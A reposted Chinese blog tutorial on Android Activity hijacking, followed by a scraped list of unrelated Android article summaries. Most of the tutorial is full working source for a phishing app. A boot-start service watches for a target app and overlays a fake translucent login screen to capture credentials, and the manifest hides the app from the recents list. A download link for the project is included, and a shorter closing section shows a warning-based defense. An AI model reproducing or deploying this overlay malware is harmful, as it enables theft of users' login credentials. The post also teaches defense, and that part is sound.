Xi说孔方兄

Activity劫持实例与防护手段

原文地址：http://blog.chinaunix.net/uid-29170659-id-4930737.html

（本文只用于学习技术，提高大家警觉，切勿用于非法用途！）

什么叫Activity劫持

这里举一个例子。用户打开安卓手机上的某一应用，进入到登陆页面，这时，恶意软件侦测到用户的这一动作，立即弹出一个与该应用

界面相同的Activity，覆盖掉了合法的Activity，用户几乎无法察觉，该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的，接下来会发生什么就可想而知了。

实例

Activity劫持的危害是非常大的，它的具体实现和一些细节，我将会用一个完整的实例说明：

首先，我们在Android Studio中新建一个工程，项目结构如下：

activity_main.xml的内容：

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

    android:layout_height="match_parent" >

    <TextView

        android:layout_width="match_parent"

        android:layout_height="wrap_content"

        android:text="Normal Activity"

        android:gravity="center_horizontal"

        android:padding="10dp"

        android:background="#ffffff"/>

    <LinearLayout

        android:id="@+id/Layout1"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_centerHorizontal="true"

        android:layout_marginTop="80dp"

        android:orientation="horizontal">

        <TextView

            android:text="UserName"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:textColor="#000000"

            android:textSize="20dp" />

        <EditText

            android:id="@+id/UserNameEdit"

            android:layout_width="100dp"

            android:layout_height="wrap_content" />

    </LinearLayout>

    <LinearLayout

        android:id="@+id/Layout2"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_centerHorizontal="true"

        android:layout_marginTop="50dp"

        android:orientation="horizontal"

        android:layout_below="@id/Layout1">

        <TextView

            android:text="Password"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:textColor="#000000"

            android:textSize="20dp" />

        <EditText

            android:id="@+id/PasswordEdit"

            android:layout_width="100dp"

            android:layout_height="wrap_content" />

    </LinearLayout>

    <Button

        android:id="@+id/LoginButton"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_below="@id/Layout2"

        android:layout_marginTop="5dp"

        android:layout_centerHorizontal="true"

        android:text="Login"/>

</RelativeLayout>

activity_second.xml的内容：只是一个TextView控件，显示"Second Activity"而已，就不贴代码了。

MainActivity.java的内容：

package com.example.hac.normalapp;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

//一个简单的界面，模拟用户输入用户名、密码，点击按钮后就跳转到SecondActivity

//只是为了演示正常的Activity而已，无实际功能

public class MainActivity extends Activity {

    Button login = null;

    EditText userName = null;

    EditText password = null;

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        login = (Button)findViewById(R.id.LoginButton);

        userName = (EditText)findViewById(R.id.UserNameEdit);

        password = (EditText)findViewById(R.id.PasswordEdit);

        login.setOnClickListener(new View.OnClickListener() {

            @Override

            public void onClick(View view) {

                Intent intent = new Intent(MainActivity.this, SecondActivity.class);

                //启动SecondActivity

                startActivity(intent);

            }

        });

    }

}

SecondActivity.java的内容：无内容，就是一个空的Activity,用于显示activity_second.xml的内容而已，不贴代码啦。
AndroidMainfest.xml的内容：就是普通的内容，不贴代码了。

接下来是我们的恶意软件，再新建一个工程，项目结构如下：

activity_fakemain.xml的内容：我们伪造的Activity布局，模仿上面正常的Activity布局。

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

    android:layout_height="match_parent" >

    <TextView

        android:layout_width="match_parent"

        android:layout_height="wrap_content"

        android:text="Normal Activity"

        android:gravity="center_horizontal"

        android:padding="10dp"

        android:background="#ffffff"

        android:visibility="invisible"/>

    <LinearLayout

        android:id="@+id/Layout1"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_centerHorizontal="true"

        android:layout_marginTop="80dp"

        android:orientation="horizontal">

        <TextView

            android:text="UserName"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:textColor="#000000"

            android:textSize="20dp"

            android:visibility="invisible"/>

        <EditText

            android:id="@+id/UserNameEdit"

            android:layout_width="100dp"

            android:layout_height="wrap_content"

            android:visibility="invisible"/>

    </LinearLayout>

    <LinearLayout

        android:id="@+id/Layout2"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_centerHorizontal="true"

        android:layout_marginTop="50dp"

        android:orientation="horizontal"

        android:layout_below="@id/Layout1">

        <TextView

            android:text="Password"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:textColor="#000000"

            android:textSize="20dp"

            android:visibility="invisible"/>

        <EditText

            android:id="@+id/PasswordEdit"

            android:layout_width="100dp"

            android:layout_height="wrap_content"

            android:visibility="invisible"/>

    </LinearLayout>

    <Button

        android:id="@+id/LoginButton"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_below="@id/Layout2"

        android:layout_marginTop="5dp"

        android:layout_centerHorizontal="true"

        android:text="Login"

        android:visibility="invisible"/>

</RelativeLayout>

activity_main.xml的内容：

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:orientation="vertical" android:layout_width="match_parent"

    android:layout_height="match_parent">

    <TextView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="Start"

        android:textSize="50dp"/>

    <Button

        android:id="@+id/StartServiceButton"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="StartService"

        android:padding="20dp"

        android:layout_gravity="center_horizontal"/>

</LinearLayout>

AutoStartReceiver.java的内容：

package com.example.hac.evilapp;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

//用于开机自动启动HijackService的Receiver，它能够响应“android.intent.action.BOOT_COMPLETED”

public class AutoStartReceiver extends BroadcastReceiver {

    @Override

    public void onReceive(Context context, Intent intent) {

        if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {

            Intent _intent = new Intent(context, HijackService.class);

            //启动HijackService

            context.startService(_intent);

        }

    }

}

EvilApplication.java的内容：

package com.example.hac.evilapp;

import android.app.Application;

import java.util.ArrayList;

import java.util.List;

public class EvilApplication extends Application{

    //存放已经被劫持的程序

    List<String> hijackedList = new ArrayList<String>();

    public boolean hasProgressBeHijacked(String processName) {

        return hijackedList.contains(processName);

    }

    public void addHijacked(String processName) {

        hijackedList.add(processName);

    }

    public void clearHijacked() {

        hijackedList.clear();

    }

}

FakeMainActivity.java的内容：

package com.example.hac.evilapp;

import android.app.Activity;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

import java.util.Timer;

import java.util.TimerTask;

public class FakeMainActivity extends Activity {

    Button login = null;

    EditText userName = null;

    EditText password = null;

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_fakemain);

        login = (Button)findViewById(R.id.LoginButton);

        userName = (EditText)findViewById(R.id.UserNameEdit);

        password = (EditText)findViewById(R.id.PasswordEdit);

        //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity

        //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后，再将我们的控件显示出来

        //我本来是想让我们伪造的Activity直接在原位淡入的，但没有实现，郁闷

        //无奈只能用这个本方法，如果大家有更好的办法，请赐教

        Timer timer = new Timer();

        TimerTask task = new TimerTask() {

            @Override

            public void run() {

                runOnUiThread(new Runnable(){

                    @Override

                    public void run() {

                        userName.setVisibility(View.VISIBLE);

                        password.setVisibility(View.VISIBLE);

                        login.setVisibility(View.VISIBLE);

                    }});

            }

        };

        timer.schedule(task, 1000);

        login.setOnClickListener(new View.OnClickListener() {

            @Override

            public void onClick(View view) {

                //这里为了显示效果，将用户输入的内容显示出来，真正的恶意软件则会直接将信息发送给自己

                Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(),Toast.LENGTH_LONG).show();

                //为了伪造的Activity弹出时不那么明显

                userName.setVisibility(View.INVISIBLE);

                password.setVisibility(View.INVISIBLE);

                login.setVisibility(View.INVISIBLE);

                finish();

            }

        });

    }

}

HijackService.java的内容：

package com.example.hac.evilapp;

import android.app.ActivityManager;

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.os.Handler;

import android.os.IBinder;

import android.util.Log;

import java.util.HashMap;

import java.util.List;

public class HijackService extends Service {

    //targetMap用于存放我们的目标程序

    HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();

    Handler handler = new Handler();

    boolean isStart = false;

    //我们新建一个Runnable对象，每隔200ms进行一次搜索

    Runnable searchTarget = new Runnable() {

        @Override

        public void run() {

            //得到ActivityManager

            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);

            //通过ActivityManager将当前正在运行的进程存入processInfo中

            List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();

            Log.w("恶意软件", "遍历进程");

            //遍历processInfo中的进程信息，看是否有我们的目标

            for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {

                //若processInfo中的进程正在前台且是我们的目标进程，则调用hijack方法进行劫持

                if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {

                    if (targetMap.containsKey(_processInfo.processName)) {

                        // 调用hijack方法进行劫持

                        hijack(_processInfo.processName);

                    } else {

                        Log.w("进程", _processInfo.processName);

                    }

                }

            }

            handler.postDelayed(searchTarget, 200);

        }

    };

    //进行Activity劫持的函数

    private void hijack(String processName) {

        //这里判断我们的目标程序是否已经被劫持过了

        if (((EvilApplication) getApplication())

                .hasProgressBeHijacked(processName) == false) {

            Log.w("恶意软件", "开始劫持"+processName);

            Intent intent = new Intent(getBaseContext(),

                    targetMap.get(processName));

            //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK，这样才能将我们伪造的Activity至于栈顶

            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

            //启动我们伪造的Activity

            getApplication().startActivity(intent);

            //将目标程序加入到已劫持列表中

            ((EvilApplication) getApplication()).addHijacked(processName);

            Log.w("恶意软件", "已经劫持");

        }

    }

    @Override

    public void onStart(Intent intent, int startId) {

        super.onStart(intent, startId);

        if (!isStart) {

            //将我们的目标加入targetMap中

            //这里，key为我们的目标进程，value为我们伪造的Activity

            targetMap.put("com.example.hac.normalapp",

                    FakeMainActivity.class);

            //启动searchTarget

            handler.postDelayed(searchTarget, 1000);

            isStart = true;

        }

    }

    @Override

    public boolean stopService(Intent name) {

        isStart = false;

        Log.w("恶意软件", "停止劫持");

      //清空劫持列表

        ((EvilApplication) getApplication()).clearHijacked();

      //停止searchTarget

        handler.removeCallbacks(searchTarget);

        return super.stopService(name);

    }

    @Override

    public IBinder onBind(Intent intent) {

        return null;

    }

}

StartServiceActivity.java的内容：

package com.example.hac.evilapp;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

//用于手动启动我们的HijackService，真正的恶意软件通常不会有这样的一个Activity

public class StartServiceActivity extends Activity {

    Button startButton = null;

    @Override

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        startButton = (Button)findViewById(R.id.StartServiceButton)；

        startButton.setOnClickListener(new View.OnClickListener() {

            @Override

            public void onClick(View view) {

                Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);

                startService(intent2);

            }

        });

    }

}

colors.xml的内容：

<?xml version="1.0" encoding="utf-8"?>

<resources>

    <color name="translucent_background">#00000000</color>>

</resources>

styles.xml的内容：

<resources>

    

    <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">

        

    </style>

    <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">

        <item name="android:windowBackground">@color/translucent_background</item>

        <item name="android:windowIsTranslucent">true</item>

        <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>

    </style>

</resources>

AndroidMainfest.xml的内容：注意HijackService和AutoStartReceiver要在这里注册，且要添加相应的权限。另外，添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现，这将提升其危险程度。

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.example.hac.evilapp" >

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application

        android:name=".EvilApplication"

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <activity

            android:name=".StartServiceActivity"

            android:label="@string/app_name"

            android:excludeFromRecents="true">

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>

        <service android:name=".HijackService" ></service>

        <receiver

            android:name=".AutoStartReceiver"

            android:enabled="true"

            android:exported="true" >

            <intent-filter>

                <action android:name="android.intent.action.BOOT_COMPLETED" />

            </intent-filter>

        </receiver>

    </application>

</manifest>

项目工程下载（ChinaUnix对文件大小有限制，只能传百度网盘了）：
http://pan.baidu.com/s/1eQ8JF5w

防护手段

目前，还没有什么专门针对Activity劫持的防护方法，因为，这种攻击是用户层面上的，目前还无法从代码层面上根除。

但是，我们可以适当地在APP中给用户一些警示信息，提示用户其登陆界面以被覆盖，并给出覆盖正常Activity的类名，示例如下：

1、在前面建立的正常Activity的登陆界面（也就是MainActivity）中重写onKeyDown方法和onPause方法，这样一来，当其被覆盖时，就能够弹出警示信息，代码如下：

    @Override

    public boolean onKeyDown(int keyCode, KeyEvent event) {

        //判断程序进入后台是否是用户自身造成的（触摸返回键或HOME键），是则无需弹出警示。

        if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){

            needAlarm = false;

        }

        return super.onKeyDown(keyCode, event);

    }

    @Override

    protected void onPause() {

       //若程序进入后台不是用户自身造成的，则需要弹出警示

        if(needAlarm) {

            //弹出警示信息

            Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖，请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();

            //启动我们的AlarmService,用于给出覆盖了正常Activity的类名

            Intent intent = new Intent(this, AlarmService.class);

            startService(intent);

        }

        super.onPause();

    }

2、实现AlarmService.java，代码如下：

package com.example.hac.normalapp;

import android.app.ActivityManager;

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.os.Handler;

import android.os.IBinder;

import android.widget.Toast;

public class AlarmService extends Service{

    boolean isStart = false;

    Handler handler = new Handler();

    Runnable alarmRunnable = new Runnable() {

        @Override

        public void run() {

            //得到ActivityManager

            ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);

            //getRunningTasks会返回一个List，List的大小等于传入的参数。

            //get(0)可获得List中的第一个元素，即栈顶的task

            ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);

            //得到当前栈顶的类名，按照需求，也可以得到完整的类名和包名

            String shortClassName = info.topActivity.getShortClassName(); //类名

            //完整类名

            //String className = info.topActivity.getClassName();

            //包名

            //String packageName = info.topActivity.getPackageName();

            Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();

        }

    };

    @Override

    public int onStartCommand(Intent intent, int flag, int startId) {

        super.onStartCommand(intent, flag, startId);

        if(!isStart) {

            isStart = true;

            //启动alarmRunnable

            handler.postDelayed(alarmRunnable, 1000);

            stopSelf();

        }

        return START_STICKY;

    }

    @Override

    public IBinder onBind(Intent intent) {

        return null;

    }

}

3、最后在AndroidManifest.xml中注册AlarmService即可。

新手发文，写得不对不好的地方麻烦指出，谢谢。

Android应用性能优化轻口味 Android
Android手机由于其本身的后台机制和硬件特点，性能上一直被诟病，所以软件开发者对软件本身的性能优化就显得尤为重要；本文将对Android开发过程中性能优化的各个方面做一个回顾与总结。Cache优化ListView缓存：ListView中有一个回收器，Item滑出界面的时候View会回收到这里，需要显示新的Item的时候，就尽量重用回收器里面的View；每次在getView函数中inflate新
2024年最全Flutter如何和Native通信-Android视角，Electron开发Android界面 2401_84544531 程序员 android 面试学习
总结【Android详细知识点思维脑图（技能树）】其实Android开发的知识点就那么多，面试问来问去还是那么点东西。所以面试没有其他的诀窍，只看你对这些知识点准备的充分程度。so，出去面试时先看看自己复习到了哪个阶段就好。虽然Android没有前几年火热了，已经过去了会四大组件就能找到高薪职位的时代了。这只能说明Android中级以下的岗位饱和了，现在高级工程师还是比较缺少的，很多高级职位给的薪
Visual Studio中的Android模拟器使用详解 wurui8 android android studio android android应用
关注微信号：javalearns随时随地学Java或扫一扫随时随地学JavaMicrosoft本周发布了VisualStudio2015预览版,里面包含Android开发工具.安装的时候,如果选Android开发,VisualStudio会把调试Android应用程序用的VisualStudio模拟器也装上.在介绍这个新模拟器之前,我们先来聊一聊,为什么需要一个新的Android模拟器–当然,你也
（小白入门）Windows环境下搭建React Native Android开发环境码农老黑前端 React Native 移动开发 Android studio
ReactNative(简称RN)是Facebook于2015年4月开源的跨平台移动应用开发框架，是Facebook早先开源的UI框架React在原生移动应用平台的衍生产物，目前支持iOS和Android两大平台。RN的环境搭建在RN的中文社区有所介绍，但是对于小白来说还是有些太过简略了。RN中文社区详见参考，本文不涉及的问题也许在其中能够有所解答。ReactNative思想底层引擎是JavaSc
使用 ADB 命令在 Android 设备上进行截屏开心呆哥 adb android
在Android开发和调试过程中，截取设备屏幕是一项非常有用的功能。ADB（AndroidDebugBridge）是一个强大的工具，可以帮助我们与Android设备进行通信和调试。本文将介绍如何使用ADB命令在Android设备上进行截屏。1.准备工作在开始之前，确保你已经完成以下准备工作：在计算机上安装好AndroidSDK，并且配置好了ADB。连接你的Android设备到计算机，并确保ADB能
字节跳动面试官亲述：Android开发学会了这些技术，你离大厂不远了 m0_65322636 程序员架构移动开发 android
HTTPSHTTP是超文本传输协议，明文传输；HTTPS使用SSL协议对HTTP传输数据进行了加密HTTP默认80端口；HTTPS默认443端口优点：安全缺点：费时、SSL证书收费，加密能力还是有限的，但是比HTTP强多了2、Java基础&容器&同步&设计模式StringBuilder、StringBuffer、+、String.concat链接字符串：StringBuffer线程安全，Strin
Java 学习路线：语言、框架、中间件与数据库高危型 java
Java是一门功能强大、应用广泛的编程语言，适用于企业级应用、Web开发、大数据处理、Android开发等各种场景。这里为大家介绍了一下我认为较为合适的学习路线一、Java基础1.1Java语言基础1.1.1安装JDK和IDE安装JDK：下载JDK：访问Oracle官网，下载最新的JavaDevelopmentKit（JDK）。安装JDK：按照操作系统要求安装JDK并配置环境变量。Windows上
ADB 之 logcat 极简小抄（过滤日志、保存日志到文件）我命由我12345 Android -ADB -极简小抄 adb 安卓 android-studio android studio android 运维开发运维
一、logcatlogcat是Android开发中用于查看系统日志信息的工具二、logcat极简小抄1、查看日志adblogcat2、过滤日志按标签过滤日志adblogcat-s【标签】#演示：按标签test过滤日志adblogcat-stest按等级过滤日志adblogcat*:【等级】#V：Verbose，显示所有级别的日志#D：Debug，显示Debug级别及以上的日志#I：Info，显示I
Unity 插件 UniWebView，可以内嵌网页/浏览器到应用中 Jinx Boy unity 游戏引擎 android
给大家推荐一个非常好用的unity内嵌网页插件：UniWebView最近在做安卓pad应用开发，需要用到内嵌网页的功能，发现这个最好用。一拖一改就可以了就是遇到了两个问题：一个是没有定位权限有些网页会打不开，解决方案可以看这篇：UnityAndroid内嵌网页，网页不开，没有定位权限另一个是加密的网页内容不允许加载，解决方案可以看这篇：Android开发，嵌入网页，网页打不开报错ERR_CLEAR
实例化ViewModel的三种方式及对比兰亭大境开发语言 kotlin
privatevalvm:DemoViewModelbyviewModels()privatevalvm2bylazy{ViewModelProvider(this).get(DemoViewModel::class.java)}privatevalvm3bylazy{WeakReference(DemoViewModel()).get()}在Android开发中，三种方式用于获取ViewMode
字节跳动资深面试官亲述：15个经典面试问题及回答思路，知乎上转疯了！左夜天程序员 android
前言这是“拔剑金九银十”的第二篇文章，本文主要针对3年以上的Android开发者进阶面试中高级开发工程师而整理。希望可以对你们有所帮助。不多废话，进入正题。目录：Java中高级计算机网络Android高级面试—性能优化Android优秀第三方库Androidframework相关其他Android高频面试题阿里P7薪资待遇**阿里薪资结构：**一般是12+1+3=16薪•年底的奖金为0-6个月薪资
Android开发使用框架手把手搭建一个简单项目 TTTTao2323 Android android 学习架构 java kotlin
前言：年关将近，公司也没有什么业务了，基本上都是些旧项目维护以及客户给出的功能改动等小需求。正好其中有个需求是关于某个维护了近五年的小项目功能改动，由于这个项目当时搭建得并不好再加上后续的功能变化和最初设计时出入比较大，以至于每次收到有关这个项目的新需求时我都会非常头疼，于是就趁着这段业务空闲期把整个项目优化重构一遍，这样一来就算后续有了新的改动需求维护这个项目的同事也不再会因为“在屎山里面加屎”
Jetpack Compose 架构如何选？MVP 、 MVVM 还是 MVI？ goodhighting 程序员架构
首先，先看看不借助任何架构的Compose代码是怎样的？不使用架构的情况下，逻辑代码将与UI代码耦合在一起，在Compose中这种弊端显得尤为明显。常规Android开发默认引入了MVC思想，XML的布局方式使得UI层与逻辑层有了初步的解耦。但是Compose中，布局和逻辑同样都使用Kotlin实现，当布局中夹了杂逻辑，界限变得更加模糊。此外，ComposeUI中混入逻辑代码会带来更多的潜在隐患。
手把手带你搭建一个优秀的Android项目架构赖欣昱
手把手带你搭建一个优秀的Android项目架构XArchAndroid架构最佳实践-手把手带你搭建一个优秀的Android项目架构项目地址:https://gitcode.com/gh_mirrors/xa/XArch项目介绍在现代Android开发中，一个优秀的项目架构是确保项目可维护性、可扩展性和高效性的关键。本文介绍的开源项目正是为了解决这一需求而诞生的。该项目不仅提供了一个完整的Andro
探索Android开发新境界：MVI架构的卓越实践宣苓滢Rosa
探索Android开发新境界：MVI架构的卓越实践android-architecture追求android架构更佳实践~项目地址:https://gitcode.com/gh_mirrors/an/android-architecture在快速迭代的Android开发领域，追求高效、可维护的架构一直是开发者们的共同目标。今天，我们聚焦于一个值得关注的开源项目——Android架构更佳实践，这是一
4-5.Android Camera 之其他方式预览图像编码模板（TextureView）我命由我12345 Android -简化编程 android java java-ee android-studio android studio 安卓
一、CameraCamera用于捕获图像和视频在Android开发的早期阶段，Android提供android.hardware.CameraAPI，开发者用它来访问和控制设备的摄像头硬件然而，随着Android系统的发展，从Android5.0（API级别21）开始，Android引入了一个新的Camera2API，以提供更强大和灵活的控制功能二、Camera图像预览1、UtilMyCamera
android 相机预览的分辨率,Android开发 Camera2开发_2_预览分辨率或拍照分辨率的计算... 吴适于 android 相机预览的分辨率
前言不管在Camera1或者Camera2在适配不同手机/不同使用场景的情况下都需要计算摄像头里提供的分辨率列表中最合适的那一个分辨率.所以在需要大量机型适配的app,是不建议不经过计算直接自定义分辨率设置到预览或者拍照照片中,有概率会因为摄像头不支持你输入的自定义分辨率导致报错或者打不开摄像头.如果你的确有需求要自定义分辨率,那么使用场景只有一个那就是你是在开发Android设备,并且你输入的自
Android 组件化，从入门到不可自拔字节跳不动
前言组件化技术，在Android开发中有着举足轻重的作用。随着时间推移，软件项目很多都会变得越来越庞杂。此时，采用组件化技术，对项目进行改造，是一种较优的方案。谈谈模块化要聊组件化，惯例是要谈谈模块化的，毕竟它与组件化确实有一些相同点，在组件化的项目中它也会与组件化发生关联。什么是模块化模块化开发，是每个开发者都熟悉的。即将常用的UI、网络请求、数据库操作、第三方库的使用等公共部分抽离封装成基础模
一个Android开发者的React Native之路青灯明月 RN Android React android react native
这是一个Android开发者一个月以来学习ReactNative的一些经验和感悟，如有错漏之处敬请指出~1.什么是ReactNativeReactNative是Facebook在2015年开源的一个项目，用官方的话来解释就是：ReactNativeletsyoubuildmobileappsusingonlyJavaScriptReactNative让你只用JavaScript就能编写移动端App
解锁Android开发利器：MVVM架构_android的mvvm 2401_86637402 面试辅导大厂内推 android 架构
//从网络或其他数据源获取天气数据returnWeather(city,"25°C")}}2.定义View：classWeatherActivity:AppCompatActivity(){privatelateinitvarviewModel:WeatherViewModeloverridefunonCreate(savedInstanceState:Bundle?){super.onCreat
React Native新架构系列-C++实现跨平台Turbo Native Module 林克在思考 React Native react native c++react.js
今天我们介绍在ReactNative新架构中如何C++代码实现一个跨平台的C++TurboNativeModule扩展API。阅读本文前建议阅读上一篇文章。本系列基于ReactNative0.73.4版本，从一名Android开发者的视角进行介绍。本系列介绍的内容默认读者对ReactNative有一定的了解，对基础的开发内容不再赘述。在上一篇文章中ReactNative新架构系列-自定义Turbo
2020年是做安卓开发人员的绝佳时机，android开发面试自我介绍 m0_66144765 程序员架构移动开发 android
你这样做仅仅是准备好一个开发环境去构建安卓App,但是你还得去准备好基础和基本知识来理解安卓开发和大多数教程使用的通用术语你现在也可以在安卓系统上构建基本的App，并且可以开发一些功能。随意使用空白画布，用你的想象力填充它。当你玩完创意后，2020年你的下一个目标是加快游戏进度，推动自己成为一名为数十亿人构建应用的开发者。我们现在去第二层！提升自己-作为一个安卓开发者Level2这个列表将作为你学
2024年Android开发60条技术经验总结，2024年最新面试安卓系统架构 2301_82243733 程序员 android 面试学习
总结【Android详细知识点思维脑图（技能树）】我个人是做Android开发，已经有十来年了，目前在某创业公司任职CTO兼系统架构师。虽然Android没有前几年火热了，已经过去了会四大组件就能找到高薪职位的时代了。这只能说明Android中级以下的岗位饱和了，现在高级工程师还是比较缺少的，很多高级职位给的薪资真的特别高（钱多也不一定能找到合适的），所以努力让自己成为高级工程师才是最重要的。这里
SQLite数据库管理与Android应用集成含老司开挖掘机
本文还有配套的精品资源，点击获取简介：SQLite是一种轻量级的关系型数据库，适用于移动设备和单机应用。它内置了对SQL标准的支持，并提供丰富的数据操作功能。在Android开发中，SQLite是默认的数据库解决方案，可通过SQLiteOpenHelper和SQLiteDatabaseAPI进行管理。本教程将通过实践帮助理解SQLite数据库的创建、管理和使用，以及如何将其与Android应用集成
4-2.Android Camera 之预览图像编码模板（SurfaceView）我命由我12345 Android -简化编程 android java java-ee android-studio android studio 视频
一、CameraCamera用于捕获图像和视频在Android开发的早期阶段，Android提供android.hardware.CameraAPI，开发者用它来访问和控制设备的摄像头硬件然而，随着Android系统的发展，从Android5.0（API级别21）开始，Android引入了一个新的Camera2API，以提供更强大和灵活的控制功能二、Camera预览图像1、UtilMyCamera
Kotlin 枚举类 wjs2024 开发语言
Kotlin枚举类概述Kotlin是一种现代的编程语言，由JetBrains开发，旨在提高开发者的工作效率和代码质量。它运行在Java虚拟机(JVM)上，与Java完全兼容，同时提供了许多现代语言特性，如空安全、扩展函数和协程等。Kotlin的设计哲学是简洁和表达性，这使得它成为Android开发的官方语言，并在后端开发中也越来越受欢迎。Kotlin枚举类简介枚举类是Kotlin中的一种特殊类，用
Android开发、adb、monkey测试 AoChengi
一、手机测试概念传统手机测试VS手机应用软件测试传统手机测试：指测试手机本身比如抗压，抗摔，抗疲劳，抗低温高温等。也包括手机本身功能、性能等测试。手机应用软件测试C/SClient/Server手机应用软件是基于手机操作系统之上开发出来的软件，做这样的测试就叫做手机应用软件测试。二、手机端常规测试2.1.What2.1.1.介绍手机测试的概念架构image.pngimage.png对于手机端测试，
单例模式双重锁中volatile的作用 Mr Lee_ Android Java 单例模式 java 开发语言
对于学android开发的同学来说，单例模式应该在熟悉不过了吧，单例模式（SingletonPattern）是Java中最简单的设计模式之一，还可以分为饿汉式和懒汉式，这篇文章浅谈下懒汉式，重点讲一下饿汉式的volatile的作用，如有什么问题，还请大家多多指教哈！！！懒汉式顾名思义，就是一个很懒的人，他什么都不想动，就只想着躺平，只有到饿了的时候才会去找吃的，简单来说就是一开始并不会去实例化，只
Android Camera系列（三）：GLSurfaceView+Camera 如果可以003 Android Camera android Camera GLSurfaceView
人类的悲欢并不相通—鲁迅AndroidCamera系列（一）：SurfaceView+CameraAndroidCamera系列（二）：TextureView+CameraAndroidCamera系列（三）：GLSurfaceView+Camera本系列主要讲述Android开发中Camera的相关操作、预览方式、视频录制等，项目结构代码耦合性低，旨在帮助大家能从中有所收获（方便copy:）），
Unity 对接 Android 第三方广告，App 切换到后台后，再次打开时，第三方广告被销毁导致无法触发回调逻辑的问题艾沃尼斯苦大仇深 Android Studio android
该问题是由发行进行游戏测试时遇到并反馈的。大致情况如下：1.当触发了插屏广告后，在关闭广告前将App切换到后台，之后再次打开App，此时插屏广告消失，并切游戏卡死。2.当触发激励视频广告后，在广告展示完毕前将App切换到后台，之后再次打开App，此时激励视频广告消失，并且不会获得奖励。虽然接第三方广告也接了很长一段时间了，但这个问题头一次遇到，因为不是专业Android开发人员，所以也一脸懵逼。解
矩阵求逆（JAVA）初等行变换 qiuwanchi 矩阵求逆（JAVA）
package gaodai.matrix; import gaodai.determinant.DeterminantCalculation; import java.util.ArrayList; import java.util.List; import java.util.Scanner; /** * 矩阵求逆(初等行变换) * @author 邱万迟 *
JDK timer antlove java jdk schedule code timer
1.java.util.Timer.schedule(TimerTask task, long delay)：多长时间（毫秒）后执行任务 2.java.util.Timer.schedule(TimerTask task, Date time)：设定某个时间执行任务 3.java.util.Timer.schedule(TimerTask task, long delay,longperiod
JVM调优总结 -Xms -Xmx -Xmn -Xss coder_xpf jvm 应用服务器
堆大小设置JVM 中最大堆大小有三方面限制：相关操作系统的数据模型（32-bt还是64-bit）限制；系统的可用虚拟内存限制；系统的可用物理内存限制。32位系统下，一般限制在1.5G~2G；64为操作系统对内存无限制。我在Windows Server 2003 系统，3.5G物理内存，JDK5.0下测试，最大可设置为1478m。典型设置： java -Xmx
JDBC连接数据库 Array_06 jdbc
